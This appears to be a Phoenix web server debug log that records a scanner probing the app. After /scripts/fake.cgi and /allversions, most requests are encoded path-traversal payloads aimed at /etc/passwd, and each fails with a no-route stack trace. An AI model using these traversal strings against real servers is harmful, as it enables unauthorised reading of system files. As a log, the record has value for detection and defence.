    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 07:59:01.765000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:35134] GET /
[Thu Sep  3 07:59:01.769000 2026] [Phoenix.Logger:debug] [pid 2816631] [client 103.73.119.116:35134] Processing with DaProductAppWeb.PageController.home/2
  Parameters: %{}
  Pipelines: [:browser]
[Thu Sep  3 07:59:01.770000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:35134] Sent 200 in 5ms
[Thu Sep  3 07:59:02.340000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:35148] GET /scripts/fake.cgi
[Thu Sep  3 07:59:02.407000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:35148] ** (Phoenix.Router.NoRouteError) no route found for GET /scripts/fake.cgi (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 07:59:03.007000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:35154] GET /allversions
[Thu Sep  3 07:59:03.103000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:35154] ** (Phoenix.Router.NoRouteError) no route found for GET /allversions (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 07:59:03.290000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:56622] GET /scripts/fake.cgi
[Thu Sep  3 07:59:03.333000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:56622] ** (Phoenix.Router.NoRouteError) no route found for GET /scripts/fake.cgi (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 07:59:04.077000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:56632] GET /scripts/fake.cgi
[Thu Sep  3 07:59:04.216000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:56632] ** (Phoenix.Router.NoRouteError) no route found for GET /scripts/fake.cgi (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 07:59:04.956000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:56636] GET /../../../../../../../../../../../../etc/passwd
[Thu Sep  3 07:59:05.056000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:56636] ** (Phoenix.Router.NoRouteError) no route found for GET /../../../../../../../../../../../../etc/passwd (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 07:59:05.703000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:56650] GET /./../../../../../../../../../../../etc/passwd
[Thu Sep  3 07:59:05.745000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:56650] ** (Phoenix.Router.NoRouteError) no route found for GET /./../../../../../../../../../../../etc/passwd (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 07:59:06.401000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:56656] GET //../../../../../../../../../../../../etc/passwd
[Thu Sep  3 07:59:06.447000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:56656] ** (Phoenix.Router.NoRouteError) no route found for GET /../../../../../../../../../../../../etc/passwd (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 07:59:07.164000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:56662] GET /..../..../..../..../..../..../..../..../..../..../..../..../etc/passwd
[Thu Sep  3 07:59:07.214000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:56662] ** (Phoenix.Router.NoRouteError) no route found for GET /..../..../..../..../..../..../..../..../..../..../..../..../etc/passwd (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 07:59:07.917000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:56668] GET /%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd
[Thu Sep  3 07:59:07.942000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:56668] ** (Phoenix.Router.NoRouteError) no route found for GET /%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 07:59:07.988000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:56684] GET /stream/0
[Thu Sep  3 07:59:08.014000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:56684] ** (Phoenix.Router.NoRouteError) no route found for GET /stream/0 (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 07:59:08.551000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:56698] GET /..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc/passwd
[Thu Sep  3 07:59:08.574000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:56698] ** (Phoenix.Router.NoRouteError) no route found for GET /..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc/passwd (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 07:59:09.209000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:56702] GET /.%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc/passwd
[Thu Sep  3 07:59:09.251000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:56702] ** (Phoenix.Router.NoRouteError) no route found for GET /.%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc/passwd (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 07:59:09.871000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:56706] GET /%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2fetc/passwd
[Thu Sep  3 07:59:09.890000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:56706] ** (Phoenix.Router.NoRouteError) no route found for GET /%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2fetc/passwd (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 07:59:10.541000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:56720] GET /././././././../../../../../etc/passwd
[Thu Sep  3 07:59:10.562000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:56720] ** (Phoenix.Router.NoRouteError) no route found for GET /././././././../../../../../etc/passwd (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 07:59:11.179000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:56724] GET /%uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/etc/passwd
[Thu Sep  3 07:59:11.207000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:56724] ** (Phoenix.Router.NoRouteError) no route found for GET /%uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/etc/passwd (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
